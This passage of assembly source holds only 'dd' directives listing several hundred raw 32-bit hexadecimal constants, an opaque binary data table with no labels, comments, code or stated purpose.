dd 6C060062h, 10D00FE3h, 76739E93h, 320DBD05h, 0D68059A8h
dd 0EA6B083Dh, 0C1FAE8h, 176DE279h, 4A4C2A41h, 1E3EBD1Ch
dd 0B0C824C1h, 0CFCE443h, 5F7904C6h, 80B6AF32h, 0FD48E504h
dd 30C8870Eh, 0CEA8C0FEh, 72BA05Dh, 0CDAE3436h, 0B791A067h
dd 0B40F8302h, 0C160F527h, 7CA95ECAh, 25AD9ECh, 0D293B387h
dd 0F9603BD0h, 7401AFBCh, 0C5430B6h, 58E87A52h, 77950A40h
dd 0A8F5EDh, 0E756A160h, 1C3CB687h, 0E007E92h, 8F075FB7h
dd 701FB93Bh, 5C1D0056h, 62EB6A40h, 470F8EDEh, 2060884Fh
dd 0A5059568h, 468F09F3h, 1200D214h, 0FA414AA4h, 0E5C6CD01h
dd 0C94B39ABh, 34B6ECh, 0A94E0D71h, 421CFCBDh, 77F02B00h
dd 9815825Bh, 481E018Bh, 0E34DE9EAh, 0E808808Dh, 391DD084h
dd 0EDC40254h, 5640E024h, 0DC1CD880h, 0FD3CEE4Ah, 0F3382Ah
dd 6F05128h, 0EC4D34h, 0EF4C2D0Ah, 0A2BDDA69h, 0BC837100h
dd 0F38E76DFh, 8746FF7h, 0E62B7980h, 240085FEh, 9730C51Fh
dd 1824D1Ch, 0D73CBB2h, 243D1165h, 0EF072944h, 0FDBA132Bh
dd 55387080h, 0BC57076Dh, 80B299C4h, 2AA8CD4Bh, 821DECF1h
dd 8AD2BF0Bh, 1F9160C6h, 0A890326h, 662ED8A9h, 32FAFEE0h
dd 5100FBF8h, 0A25E954Fh, 0E6BB62h, 0BDD0DB33h, 0B456176Ch
dd 44DC9909h, 132C016Ah, 84405F65h, 1230BACh, 0E1FE3FCDh
dd 0DCB47D60h, 1613E229h, 0B51C0834h, 0D6B398B1h, 0B178D8h
dd 50FBBDD5h, 3D43D25h, 0D7B8F116h, 0BBD2D100h, 0F6ACA64h
dd 75866C9Dh, 70FF17E1h, 3A1DF820h, 0CF58500Bh, 0BB14811Ah
dd 9EC38B7h, 147600E7h, 0F5178CACh, 0D803A580h, 9D5C7967h
dd 0EC1100C7h, 0CABF4E02h, 49016CA9h, 17C1AAE5h, 0A8EF5ED9h
dd 3E025ECh, 0E99913DCh, 0E6A151DFh, 49FCE8B9h, 11E16C00h
dd 2EDB92D6h, 6AE900CDh, 0A4263373h, 5B03B7BDh, 45AF96C2h
dd 98A7A3F6h, 0CF0B87h, 66806BC4h, 0FA0D9DF7h, 0E7E13C09h
dd 0F8C000B3h, 6DB939h, 76BC2F6Ah, 69222D6Bh, 263E717Ch
dd 232E8075h, 96374E74h, 3CE00759h, 43D7AE93h, 97CA694h
dd 3745D803h, 8BE5F184h, 734EA823h, 95D601C0h, 98D18883h
dd 36B9D88Ah, 3DC69E1Fh, 4000BD5Ch, 5A241DEBh, 0A91A00FAh
dd 0B954312Eh, 0E000511Eh, 39083776h, 75DCFD7Ch, 85B70083h
dd 6FD42009h, 30010E9Ah, 0B4E24187h, 3C2048FFh, 55A00050h
dd 814AF3ECh, 0B8003DC4h, 0F2A7BBDCh, 0BA9946h, 0F66E4F80h
dd 0B3F148D2h, 0D3DD8B00h, 595B6ACBh, 0F89095h, 0BA38817h
dd 3D543AA6h, 8DB53Ch, 5D01DEB7h, 0AB0E9FDh, 48DA9D92h
dd 3C8960C8h, 10F19FEh, 0B75BC8h, 4EBAA030h, 0C522047Bh
dd 0C0277FEBh, 0E25F4430h, 10C3E100h, 2498B662h, 67D6004Fh
dd 6F3BC531h, 0DF2349Fh, 80FD373Eh, 711EE0BFh, 1EADE855h
dd 0C0F7CEh, 0FFBC1867h, 471C9287h, 39809461h, 71097C1h
dd 849F004Eh, 0E9B28396h, 4300F822h, 1B346381h, 380428B7h
dd 258007F4h, 0B136FA98h, 0C528279Bh, 5E00AD1Ah, 50962FC9h
dd 174E2BE3h, 149F29h, 99288B3h, 2C001756h, 0BE93C9Eh
dd 0AF7A1Ah, 7C12296Ch, 114F86A8h, 6FB3390Fh, 9D57E75Ah
dd 30E186h, 0CE9620D9h, 0B62DF673h, 5609C073h, 54C4E3h
dd 935B5FE8h, 75A009Bh, 94DE6F57h, 83E085FFh, 7F12211Dh
dd 470D2D04h, 0C1AFC8C0h, 0C9D1001Bh, 350F695Bh, 0D33B89D4h
dd 0EB068020h, 0FE02FD93h, 0F8C7DBFh, 54FFC29Ch, 5FB3C560h
dd 9BE8B8F4h, 8405E000h, 38D80F6Ch, 471500C2h, 57BF80F2h
dd 585854FEh, 2CB07290h, 4600B9F0h, 40BAFF21h, 83FD23h
dd 8F015F3Ch, 0CC065A45h, 4499AF26h, 8491B700h, 6F94F2BFh
dd 5C80099Ch, 5D7EF2Fh, 0A711A600h, 9CB1CB85h, 0FD6F00FBh
dd 0B80E19Eh, 60050D0h, 2238D717h, 0E4F5D3h, 1E8FD1E0h
dd 2843E54Ah, 0A1726100h, 46E8F8BDh, 0C7870477h, 0C1F266C6h
dd 30DBB07Ah, 22034284h, 15FC5197h, 878CE9DEh, 0C3A2AD8h
dd 40F8EE8h, 1C00D904h, 641F2815h, 7FD4CD6h, 437D215Fh
dd 0F13910FCh, 0E8008CA2h, 36DBDFC2h, 3AC5D7h, 9DBD702Dh
dd 40D21D2Ch, 429A48h, 0AD930945h, 0EC0EC3h, 2833627Fh
dd 6E8FF41Bh, 0EE4E371Ch, 3C802E1Eh, 0DB69E354h, 3A6501F5h
dd 17B603FCh, 0C85030B5h, 0BD729000h, 866EDFBAh, 74A501BBh
dd 78A1C1B8h, 16C6284h, 8868645Eh, 95D493B0h, 658A1BA7h
dd 0A8E0098Dh, 5401069Bh, 2738B041h, 1FD9DE84h, 87007872h
dd 8C24433Ah, 12176B31h, 0B11Dh, 0AC6E6280h, 0A94102E7h
dd 0BEF7B579h, 8B6D48C0h, 5632800h, 0E74CCE29h, 3C2E3D95h
dd 224B1280h, 6C80A359h, 0A71E1000h, 0CCCD3299h, 0A4512CECh
dd 0B1B000CFh, 584CE69Dh, 0BE15D105h, 6AC0C23Ah, 191D59h
dd 2D9FA83Dh, 92A3B8F5h, 89669700h, 17C585ABh, 533A0004h
dd 228D315h, 9A3C6341h
dd 4523005Ch, 0D5E135DDh, 10DC59h, 6F05E6BAh, 149018BEh
dd 5BE59F0Ch, 7C1D106Ah, 4CD707BCh, 40B34446h, 9ECB97CFh
dd 0B7E27890h, 8086A100h, 8185AACEh, 6F640AC8h, 3FCCC4ABh
dd 701DD0DCh, 13C24054h, 1B14AFDDh, 0C3AAD80Dh, 25F00912h
dd 59720EA7h, 3F25E2Ch, 3344378h, 4E79D9A0h, 0A6CBB1Fh
dd 0E3BBD05h, 2B2E64C0h, 0E64C3903h, 68AB9987h, 1777A066h
dd 7E582DCFh, 851B008Fh, 0DA1CC16Fh, 4771B0h, 4D8A179Bh
dd 8FB9B4C8h, 0F49951Dh, 0D36BFA40h, 66CD622h, 36089204h
dd 3C0E30F2h, 0E005AD3Dh, 6741BBC7h, 12C0C017h, 0ACCCAB5Eh
dd 7FDAD207h, 0DC806B8Bh, 1D203367h, 0FA851C8Eh, 0E05AE80h
dd 0D256999Ch, 68B0F198h, 0F2076300h, 0B578C174h, 165E0235h
dd 4A0ABA52h, 8CC6AC84h, 3E40AA3Ch, 439904A1h, 80D1F2F1h
dd 0EB5F030h, 9E505F00h, 0FB773C05h, 0C87800D8h, 0F1D1B3C9h
dd 0F5026713h, 2F63D583h, 0D75DC097h, 8DE600E5h, 0C9C3D815h
dd 992AF5C4h, 4400F42Eh, 5F9A224Fh, 7B33F3D3h, 0BBA4007Eh
dd 12C5F8D1h, 34005C26h, 69C38DA0h, 0D35002h, 0D2E55283h
dd 0B9AFA676h, 751C31ECh, 0B8CCC14h, 51D03Eh, 959828E2h
dd 0CD2404A5h, 0CCEC020Bh, 29FCA02Fh, 4417CF44h, 840E0198h
dd 0E187A0EBh, 0EFBD74F9h, 8259499Eh, 11A83BD2h, 23DDF460h
dd 3FB3925h, 0F816CF2Ch, 25DDA2Bh, 55A77EEBh, 7178238Ch
dd 0B30051E6h, 0DDA48D7Ah, 0F73B6h, 86045EC6h, 0A2E32641h
dd 7DD3F50Eh, 4B502083h, 3E3D7Ah, 5C454807h, 6A8C228Eh
dd 0ACB61000h, 0A7A9626Eh, 300B7B73h, 1BF485E4h, 0DA0F6CF9h
dd 609CC7C6h, 0F674654Ah, 0B22401D3h, 0F2D50B98h, 6C646055h
dd 419A8A00h, 7E9B9957h, 0A1E70052h, 9DE35840h, 9C715C7Ch
dd 8B237F0Bh, 0C55400Dh, 0DEC61ED1h, 0A1093703h, 0F036FBC9h
dd 7D0134D8h, 6C2730C0h, 0D0288315h, 0CCB58200h, 0B4911C78h
dd 9B746F00h, 0E5548FD6h, 23363F70h, 14877BBBh, 0C0489A58h
dd 844B341Fh, 66774204h, 308087FEh, 240F7Ch, 0D5B78BE4h
dd 32CCE55Eh, 55D43600h, 4C9E7F49h, 798C287Ch, 1F653AFDh
dd 0D7B4BE80h, 9080F3BCh, 0FC005973h, 0A1BFA530h, 58F470h
dd 2D4F5DDFh, 15C4B1C2h, 99ED7500h, 12CF84FAh, 0F9E26Fh
dd 9CBC0E93h, 59D63F8Eh, 8B0D990Ah, 0B812D745h, 8CCC0C00h
dd 18CE916Eh, 61BA8AABh, 6D59C5BCh, 0C8DE3A08h, 638C001Eh
dd 0F967B494h, 8EAB0D92h, 0F0098961h, 2058FACh, 35844549h
dd 3FF20480h, 8598A013h, 0FA2B01F6h, 0D8DA34E2h, 5948C01Dh
dd 0CA37C100h, 33FDB05Eh, 2823DA5h, 0D9F9A300h, 0BD936D51h
dd 0E0F281Dh, 75C6F300h, 1CCF2B0Ch, 136103h, 0D8B776BFh
dd 4B005104h, 0B0C94920h, 9EE990h, 6BD4578Fh, 59B90C89h
dd 0C4BC0F00h, 48FC13CCh, 8551008Eh, 7EA93ACFh, 0DC700C77h
dd 230BEA00h, 4CC68CAEh, 0CB38008Bh, 1D353162h, 0DF7D021Eh
dd 21AB1400h, 6D016EE2h, 0D75E000Ch, 1C338EBEh, 0E6A022B8h
dd 4E030980h, 0C4F5E461h, 0E0A850F0h, 56CC0027h, 5DCA86F2h
dd 0E90449E3h, 9B027B64h, 0A40814F0h, 0A0400498h, 807D7924h
dd 35E76AD0h, 699850F3h, 0B90E26BFh, 0A4D6B785h, 90E01179h
dd 0E4C35D3Fh, 0F5F44600h, 363AA619h, 0CF0B7404h, 0F890C12Ch
dd 528572h, 0BD466CB5h, 173BE442h, 964EE000h, 8EDFF795h
dd 7934009Ch, 0AFAC927Bh, 770771EEh, 12585C1h, 0B95F4430h
dd 70F7E812h, 0D84103EFh, 8E6C7816h, 0FF3AFBD8h, 0CD44812h
dd 742BC000h, 249E39h, 0EC8F4D88h, 8626AA6Ch, 0EBC7C000h
dd 9F2A7031h, 0E9760Ah, 30EA2E6Fh, 0F1C31565h, 95857800h
dd 0DEFBB737h, 0FABA2CE1h, 0E714001Ch, 3488410Dh, 68B9AB24h
dd 677BB401h, 3432B6A8h, 0B3684400h, 0BF6C70ADh, 610045F2h
dd 0DC727ABEh, 3C81C1Dh, 0CBD362D6h, 97C1AD7h, 71041401h
dd 36212D40h, 0A6820h, 95D62CB7h, 0B59BE152h, 787DDC0Bh
dd 65060961h, 0D09600D4h, 5FE8AC9Fh, 0E600AF77h, 0A3D431D8h
dd 3C29FDh, 0BC816822h, 0BBB44B3Ah, 0E6541600h, 2602B394h
dd 80DA008Ch, 19F3F644h, 41001742h, 9CCAAF8Dh, 0E6B87A3Bh
dd 7331007Eh, 0ABDFA3C0h, 270015FEh, 2166625Dh, 9D97A52h
dd 2127C76h, 849D9002h, 1F60E073h, 0B5CEB6h, 9CCDD1ADh
dd 2BE5EE7Dh, 0CC6B0600h, 7B0A3369h, 45220089h, 0B44E6D73h
dd 0A300CB07h, 974FA672h, 2C1DD152h, 8074A18Ah, 0EFB782E9h
dd 0CC7105F8h, 0D9FAE603h, 0C155A3E8h, 0DBD4E0F1h, 379A0E42h
dd 4B032A29h, 0AF885ADEh, 571E5599h, 6B803E4Ch, 0F5762E3Dh
dd 9492EBh, 243C97E3h, 2709AEE1h, 80A8E23Eh, 47A48C0Fh
dd 0AD8813h, 97351042h, 0CF3C76A1h, 77BF903h, 7C71DCCAh
dd 0C7040109h, 0BE0C5DD7h, 0E3A070E4h, 0FBA49900h, 0D15A34F9h
dd 4859E874h, 0A90ECC69h, 0A2E0C470h, 0C66751CCh, 49C0BD00h
dd 0A1C86BEDh, 27810973h, 942188B2h, 0F864B0AEh, 9306B7C7h
dd 2ABDA89Eh, 0A40400F0h, 48165F36h, 17176AE7h, 980013D8h
dd 0C5DADE73h, 2134016Bh, 47EE67D7h, 0B8DE480h, 80D2A038h
dd 0CC0976D8h, 16AF3Fh, 1F72C12Fh, 3012CB2Eh, 9D45EC00h
dd 899BCE74h, 73D5005Bh, 857654E8h, 2100653Eh, 6CF77C50h
dd 17438B0h, 0FFEB4C28h, 0DCE84552h, 0B1005346h, 84909A1Eh
dd 93E89AAh, 38A099E7h, 2C5608A3h, 3DC682D8h, 376AF900h
dd 59E008C1h, 0B718122Ah, 14F3009Eh, 0E39DDC17h, 3F2E0502h
dd 0A04B98CAh, 6CA320E0h, 337D2EE6h, 121D0ECAh, 0D6700156h
dd 0D9F7888Eh, 0D9B874F1h, 0FD84C000h, 6027B71Fh, 0DF2B09FFh
dd 0C184E743h, 0B3F887AAh, 2885BDEh, 373AB77Ch, 98BE835Ch
dd 8575CAF2h, 7A308CE1h, 1F88BA4Fh, 0C0EC6E32h, 63E798FFh
dd 7F735392h, 2DD410A0h, 0C800FE42h, 0D7CE8F67h, 55303938h
dd 40D6C953h, 3C7E1FAAh, 0A4958E6Fh, 5E49CB80h, 1A005CFAh
dd 0E77019BEh, 56C557Ch, 366F549Bh, 6520073Eh, 0DFA0E0DCh
dd 78DFAD8Fh, 0D7CDBA07h, 1D6B3170h, 1CA73892h, 0A0DA5081h
dd 0C16FD466h, 0D39081CEh, 0FFADABD7h, 551CE18Ch, 4F00CA59h
dd 59E8E78Fh, 5101ECh, 6C4CCC92h, 561A4358h, 63B5DE00h
dd 0E8642BF2h, 65C10033h, 0CCE1F3BBh, 300C0D4h, 2E1CCD28h
dd 0E79CB10h, 0D0EAA90Ch, 0AFC557E0h, 0D00C766h, 6F09BC2Ah
dd 3B84FBh, 0D48011BDh, 82F88FCCh, 0C89C5D16h, 1437D400h
dd 0CA06Dh, 71E1BBA3h, 3D51B56h, 81B73Ah, 23E0122h, 0B173E6h
dd 9CD46FB2h, 0D979AD5Eh, 1117C400h, 0CFC11832h, 1E20754h
dd 50EBC882h, 88A28DF0h, 8A5D0400h, 106CF9B9h, 723D00A5h
dd 3EA6386Dh, 0E700FC20h, 9D6673EDh, 59F6794Ch, 0BE001896h
dd 20A5F778h, 0BCEEFB57h, 0C9797300h, 0B5360A95h, 5E7F13AEh
dd 5049033Ah, 9FF84B04h, 9B0074ECh, 0D06DF3C4h, 0F16133F0h
dd 1C263060h, 8069AD3Ch, 0A9A63BE2h, 6A035F99h, 386B5D0Dh
dd 0E7B0C020h, 245300FAh, 65893E8Dh, 0B00F730h, 4C62F068h
dd 73A23B02h, 4B5D3E0Ah, 6C76E19Eh, 3CAD1E9Ah, 0FB8DCE9Fh
dd 1C92CB80h, 0F894166h, 85D77216h, 0E0D9C20Eh, 0A633B6A0h
dd 0EA9B00A8h, 51563A6Ch, 27DB9B0h, 9405ED00h, 0BC20BF64h
dd 0FD2900F6h, 6D8B2308h, 60002658h, 0A3A954F9h, 0D33CA0h
dd 0F1913A69h, 0B82D3604h, 767FF3Eh, 0CC6CFE64h, 7701E1B0h
dd 25B290C3h
dd 4848022Bh, 1602BF0Ah, 0C1ABF62Ch, 615454DFh, 84A3444Eh
dd 5CB27B10h, 8EE84C80h, 0EE8B8E3h, 5916F4F2h, 0FA314E21h
dd 5628884Dh, 0E5EA8866h, 8811BC88h, 0C188C2A5h, 0E2E68861h
dd 900D2088h, 5B4F8499h, 2228685Eh, 6D42109Bh, 285AE211h
dd 0B75014FEh, 0C344E128h, 0CA5F45BEh, 892B3A10h, 443308D5h
dd 1E441669h, 0C90F4465h, 62B314A0h, 33083289h, 0A01D2444h
dd 896C1A3Ch, 820FEE6Eh, 807CA5B0h, 6BA03298h, 0B7590093h
dd 1165FA03h, 0ED758221h, 27073901h, 0B19B87B5h, 0DDA4DCh
dd 0C8370CD9h, 0D35975DFh, 0E87D48E6h, 0C9501400h, 60A7713Dh
dd 842F007Ah, 4839AA51h, 0F33EE3C4h, 0ACF19FA6h, 7E659981h
dd 2D201FAFh, 3C1E0077h, 98C2FB62h, 89F4C89Ah, 0C97DBD03h
dd 0B8D674F8h, 128046D2h, 0B0C310B1h, 760ED778h, 21943B34h
dd 0AE7BA497h, 0C922D440h, 77A200B6h, 1ED14CAFh, 0BB1E1A64h
dd 1D00B14Fh, 63E543F4h, 0F2012E35h, 0D0DF0014h, 0F36C6572h
dd 6DDAAF00h, 6BD49047h, 96F102E2h, 6331B181h, 0B6007CF8h
dd 2E206EA1h, 3BCE0Dh, 0ACB7251Bh, 8EC441F8h, 9FD69400h
dd 0CDF48654h, 13330011h, 4AC0715h, 74007A92h, 8677F814h
dd 0F822FCE2h, 0AB720185h, 0B8AA0DA5h, 0BCEE20DBh, 0AFE73600h
dd 5F9CFA32h, 7D407B1Eh, 47160072h, 5C6D51B4h, 21006F75h
dd 464BF62Ah, 1561583h, 885D4785h, 0E8240230h, 0D8F74075h
dd 68C0295Eh, 261E5B77h, 33EF12DCh, 0FACE030Eh, 9680DB51h
dd 56008A93h, 4112EEACh, 0D87619h, 6D2D03B4h, 8E1FB6ADh
dd 6E00ECFAh, 939D7754h, 4966D0h, 2C05A49Fh, 9C4C02D5h
dd 0C7BD8401h, 0AE0BFCCDh, 2031F60h, 0C53C0A05h, 7502409h
dd 62BA3412h, 81CE00EEh, 9267DFD7h, 99BF3Eh, 0D22D7AE6h
dd 1FBB4A6Eh, 80A9953Bh, 0F41FA4C0h, 0EE00D90Fh, 0C3197F7Dh
dd 0D61B7Ah, 0E296DA1h, 0B970FDB5h, 681A0D00h, 2AFBDEF4h
dd 347709E0h, 1903CB5Bh, 1DC00B48h, 280008B7h, 0C30A9DC7h
dd 1013E7Fh, 0B4C99BA9h, 74B9689Ah, 0E8007210h, 4193E5D3h
dd 70837E9h, 32ABE391h, 4F2A63B6h, 9A4821E8h, 362F2200h
dd 0B2356D52h, 0CB05004Eh, 7AA8DCDDh, 93092E27h, 0A33ADh
dd 91A3E991h, 9EE51E54h, 0E0D6C058h, 6FC623BAh, 9B41F10Dh
dd 0DC00B0DBh, 4D78DAh, 541ABFE7h, 368A88B3h, 7C595F03h
dd 0F06F6EBDh, 40EE0Fh, 0DB02203Fh, 33D445EDh, 37007EF8h
dd 98F8CB99h, 0A27351h, 76D38586h, 631F4941h, 0C301ED05h
dd 0BF0003F8h, 0A1F1F52Fh, 3A9600BBh, 0AE2206D3h, 1F07FE36h
dd 0DE24B5ABh, 8C556D00h, 8F750068h, 727C2B40h, 78009228h
dd 0B2B61CFEh, 75F8A882h, 0F6DA0364h, 0F7A4EA9Fh, 0D8927D90h
dd 682434F9h, 59884A00h, 891E1551h, 463C1420h, 0C526BC29h
dd 0DA1A00BFh, 1EFE5571h, 0D65D8300h, 0E40FA506h, 0A300018h
dd 4168DEB3h, 73004AC2h, 9590D7D5h, 0FFAEA26h, 0BE828520h
dd 273691E0h, 4A00A43Eh, 0B987511Dh, 38F2584h, 863A3558h
dd 49BA2217h, 16ACB883h, 0F86ECC98h, 0BA376D12h, 9E52FC21h
dd 71742E20h, 31BF6AA7h, 79E40062h, 0C367F3Eh, 7A00FBB0h
dd 1ED751D2h, 382371Dh, 0E81CFC96h, 0BB980FC0h, 7107CC8Ch
dd 56E060C7h, 406B91D2h, 1CBA204Ch, 40D885FEh, 9D43DA89h
dd 251C9571h, 2CC09FD2h, 9311E6Bh, 0D4B00E78h, 6D20A3F2h
dd 46972F4Ah, 9B5D1B00h, 90DBD9BCh, 0D17D16h, 0C80BF30Fh
dd 3DC36206h, 0B0DF2203h, 0F02B0DB1h, 1586EA7h, 30AA7638h
dd 0F4C33E2Eh, 3A0713CBh, 1D71BEC9h, 0E4835B64h, 215EF859h
dd 470805AEh, 801811B7h, 602A1960h, 0C36CDD00h, 7D536E4Bh
dd 9DBF00A1h, 4FE7C716h, 7700CF2Eh, 9936C64Dh, 1230D8B3h
dd 42E182B5h, 0CA09F6E4h, 0A200B066h, 0D934FF60h, 4A2F2Bh
dd 0F787A6EEh, 94B037C0h, 43EF1800h, 462692A5h, 0B42E0067h
dd 1E8CF5CFh, 950241F7h, 0E5DA141Dh, 84746018h, 87E000BFh
dd 9085602Fh, 0C60059C5h, 6D96EF29h, 2EA35Fh, 0FFAA4113h
dd 0E3641191h, 203248CFh, 1E5AC772h, 9D900088h, 93475DCAh
dd 90C08CD2h, 8AC724ADh, 0DCF058h, 0B90D5694h, 506B953Ch
dd 0BD0A25h, 0DF5FA928h, 239900DCh, 28350597h, 6007173Ch
dd 0B6013071h, 48BA02C0h, 0A2B8009Eh, 5A4D6207h, 0C9122926h
dd 0D4000531h, 0C72AE5BBh, 1AB927A8h, 0FB0C9EDCh, 30284Eh
dd 2C39C013h, 99C282A2h, 8460762Fh, 0BB80BD2Ch, 0E68F02h
dd 79F2C012h, 1E958A74h, 0CF3D6900h, 0BA6DBF27h, 0BBBB587Ch
dd 5E320309h, 0CEE0980Fh, 7B76C4B6h, 4F6CB901h, 9F37D09Ah
dd 3048CFECh, 0C28BEFBh, 0D6005734h, 0B0950AF4h, 546F73h
dd 0FDC87D83h, 6CA5F730h, 9E485E3Eh, 82D43158h, 0FFD10B8Eh
dd 0CE5C3012h, 287D0061h, 1439F9BBh, 0B7004C08h, 0F405D078h
dd 20E0987h, 132B92E1h, 18601263h, 49096FCDh, 0A09BE2F2h
dd 0EE05AB14h, 172D000Eh, 71585E7Ch, 0EF03868Bh, 9A93DACAh
dd 3BFBB1DDh, 3D8082E8h, 1F008C47h, 0AFCE996Bh, 0D8C3A267h
dd 0E2D1E0F9h, 45F848DAh, 338E085h, 66607029h, 1C906C71h
dd 401D7FF4h, 935F455Ah, 40B74B0Eh, 60C3FDD2h, 4ACF5C76h
dd 56878C00h, 0A1418EE0h, 4DA0C800h, 17D23464h, 2DD7971h
dd 59A281CBh, 4057D3F1h, 0C9F0CEh, 85648626h, 959289B8h
dd 0A83A8E00h, 4BE880C6h, 9F8C03EFh, 863945DBh, 20AB64C9h
dd 0D1002664h, 0C8C23B37h, 502A4D31h, 56BA8Dh, 5B50A184h
dd 6FA42D97h, 0AB00677Ah, 1562EF07h, 9D625h, 230B3D19h
dd 0AD8F8BA9h, 0A117A8EEh, 540760D5h, 0A720775Dh, 2EC4C71h
dd 0C9502BE8h, 0DF407539h, 1A00CF7Ah, 2A5FD051h, 7CDBC84h
dd 5A7DDF03h, 12B09273h, 33889A40h, 5721E000h, 0BFFCC980h
dd 0E74A021Eh, 71477C74h, 120F41E0h, 64426490h, 1AD53000h
dd 0F71B5ADDh, 0D13AA200h, 43CDCEDCh, 98921625h, 6F53004Bh
dd 0CAA77F1Dh, 0F9D30500h, 962897CBh, 6D3D009Ch, 89A10653h
dd 7A1763D0h, 3420A847h, 1CD63A11h, 982849Dh, 5E078DC3h
dd 4DF421A1h, 0AA1285D0h, 0C8007B41h, 26046F0h, 0F8E207DCh
dd 0F0FD5031h, 0A4AC6954h, 987920h, 7801B60Ch, 0F906FEE6h
dd 16BD8C00h, 402485E3h, 6492FAh, 0A66C4F71h, 0AAD1F755h
dd 0D9016900h, 2C12B142h, 0B5980160h, 0EA206F9Eh, 0ED3370F7h
dd 0F00517Eh, 7276A318h, 0F80E8227h, 0A20609C7h, 6420C4CEh
dd 8B3D3CCDh, 7FBA2C00h, 0E437FFBBh, 0F155018Ch, 0BE21481Fh
dd 83807F83h, 0B621EADh, 0B8B08B9Ah, 2E00AE89h, 938CD9FAh
dd 0ECE45A00h, 6DB25F63h, 3B990C1Dh, 0F0C01CDBh, 6EFD6F0Fh
dd 0D3C4A4E4h, 0C8290A0h, 0D42E265Fh, 9300DD11h, 4E582F4Bh
dd 21A316Dh, 9EC29F22h, 50601685h, 0A06EFF4h, 0A19DC596h
dd 9BB100C0h, 592C53C4h, 0B701958Dh, 88099F0Eh, 52C837F9h
dd 4108268Ch, 0AF43016Ch, 0D0250FAAh, 6D01A00Dh, 2A1487F5h
dd 38686777h, 6BCC8600h, 0FFDAAC39h, 237FE00h, 9740ED17h
dd 506F0F35h, 764CC8F0h, 0DC00E9D6h, 0E1747F34h, 3C9CBEh
dd 24AFE48Ch, 840EA96h, 63442300h, 3A5489B6h, 0A40D021Bh
dd 4A17A8EFh, 950E1C60h, 8EB3FB02h, 0E85B7410h, 11AAC04h
dd 0F26A280Ch, 80B24BD8h, 201ED244h, 25037635h, 88E18F7Bh
dd 10E4334Eh, 0E02E105Dh, 5C770082h, 14E30ACFh, 393CBD00h
dd 0D467DDC8h, 517B32h
dd 0D64F3FBFh, 1366F478h, 0E9260A00h, 8701A528h, 5D6B07C2h
dd 502108CAh, 0B1BBDCEDh, 0A4005C98h, 0EB361CB5h, 1F7461C9h
dd 0C0B002F3h, 41106783h, 114C60D2h, 87F600BCh, 0AD12210Fh
dd 98964Ch, 0BEDC9B3Ch, 0F000AF0Ah, 0D8471BE8h, 1D65F872h
dd 40217E1Fh, 20BC2633h, 6401EED9h, 6E15A62Fh, 0D4EC31CCh
dd 0C61901DFh, 52FDF0DAh, 84B05032h, 140EC4EAh, 5D88A4h
dd 0F3167954h, 0C1E91D45h, 0D55665h, 0A9C6E446h, 0E801A110h
dd 5F7DA5Ch, 0D0E8818Ah, 416B0996h, 8880B04Fh, 2F0125DEh
dd 6E29F809h, 0FF4C2A0Dh, 4A876700h, 0FF08862h, 0AD023377h
dd 60603049h, 2C0040C2h, 9CDFA1BCh, 4CD5E051h, 5B008413h
dd 3C627B5Fh, 0D804D27Dh, 0B2CA4C92h, 21DC18C0h, 8D400025h
dd 467B652Bh, 40B878C1h, 0F6BE8700h, 7769DC96h, 0E3A800E0h
dd 6705A6Eh, 8B1D09C7h, 0FE41C323h, 5CFD6331h, 39F50C20h
dd 799F2D3Ah, 1608564Fh, 0B61C0029h, 7B17506h, 0C0570F00h
dd 16AFC9EFh, 7E12072Ah, 1F6BBA9Eh, 0F3029920h, 1F024FCDh
dd 2DD6F2BFh, 2ACCE143h, 802905EDh, 90C93987h, 0B8B41D28h
dd 0CF14E101h, 0C69A5B9Fh, 204D5820h, 0C4054A60h, 3D7C0827h
dd 441FA840h, 0B92F31h, 32A48522h, 360E16D3h, 50CCC4Dh
dd 0B56DFD5h, 6CEC14h, 7E21BF5Ah, 2C1902BDh, 0F1B24Eh
dd 8E7560AFh, 1D3E4CBEh, 8650054h, 91C62418h, 6D91A00Ah
dd 0DBE83B40h, 0A89AB404h, 308ACDDh, 0F5074865h, 0C9C6A80Ah
dd 0CC97029Bh, 59D3759Dh, 7630B046h, 5C97829h, 148926Fh
dd 88DB52B1h, 809550ADh, 82D60868h, 81C12436h, 202C5EDh
dd 5046FBh, 0FA1DEA57h, 6507DBC2h, 8E709A00h, 0AEE6AC42h
dd 10AA4C63h, 0A9AF7F00h, 460D9B56h, 2A9A661Eh, 0B44C8380h
dd 702B2E33h, 6D5304ECh, 8043807Ch, 3052C1Ch, 0D67A7707h
dd 2D90F54Ch, 385C5364h, 2E80ECC4h, 0DDAFC7E9h, 58008CB7h
dd 46DED69Dh, 20FD51h, 6FA68876h, 0D36B9FB9h, 1A7400B5h
dd 2C8B7759h, 80FCB721h, 0D4F4A306h, 86484164h, 0CA540049h
dd 0DEFC270Ch, 0B8F0052h, 2809FBF0h, 704A02DDh, 99CC5440h
dd 9062DF38h, 0CEC800DCh, 85A71698h, 97F4A07Dh, 9EAB990Fh
dd 2A69A49Dh, 0F0D01497h, 0E8151Ch, 7CA35C0h, 27AEC9DCh
dd 0E3002BE0h, 0B9FED91Dh, 0BF7A0B3h, 3EBD18CBh, 0F5697680h
dd 0B43FF2BEh, 0A5E78365h, 9FD5989Fh, 59EC90FCh, 0EE0054B0h
dd 0DDAB7574h, 70000440h, 864678B4h, 0C0ADEA10h, 1D1E8C10h
dd 810EFB53h, 0A7693E09h, 0D8E05496h, 1E35290h, 1DAE51E5h
dd 0EA25D231h, 0A31F34D0h, 300E7E61h, 0A560726h, 88805514h
dd 2927DBh, 0FA115D0Dh, 54CE94B0h, 258F9E13h, 0FB3FCF05h
dd 0C0F719C0h, 7051067Ch, 109D6D37h, 30A36901h, 34AB2A4Eh
dd 3AC7870h, 0B7FF44F6h, 90B02E99h, 4B02A576h, 0DE368A81h
dd 0EF4460E6h, 84720008h, 20E74C67h, 0A4002206h, 50ABB244h
dd 407DE9h, 603E5369h, 9B7FD6DFh, 4B45A613h, 0AEC0001Ch
dd 0C617363Ch, 94235C04h, 0C5F59200h, 0BBA5FA4Eh, 441CDF74h
dd 0C741C213h, 0AA899751h, 481D874h, 15C90B16h, 3014E020h
dd 42E6B600h, 0D38548C2h, 95901CDBh, 0EA89805Bh, 72CE2946h
dd 37B75600h, 0FE1EB599h, 0F03B01A8h, 798ABD1Bh, 8E98807Eh
dd 0A41CD20Fh, 1C64ACCh, 0DD45BDCCh, 2966CC2Bh, 0E8381B00h
dd 0C0090744h, 0FBFD000Dh, 546432F1h, 2B1DF28Ah, 0BD7E52h
dd 0F8EADD74h, 5CF7563Bh, 9200DCDEh, 0A35B87DFh, 5E4875E1h
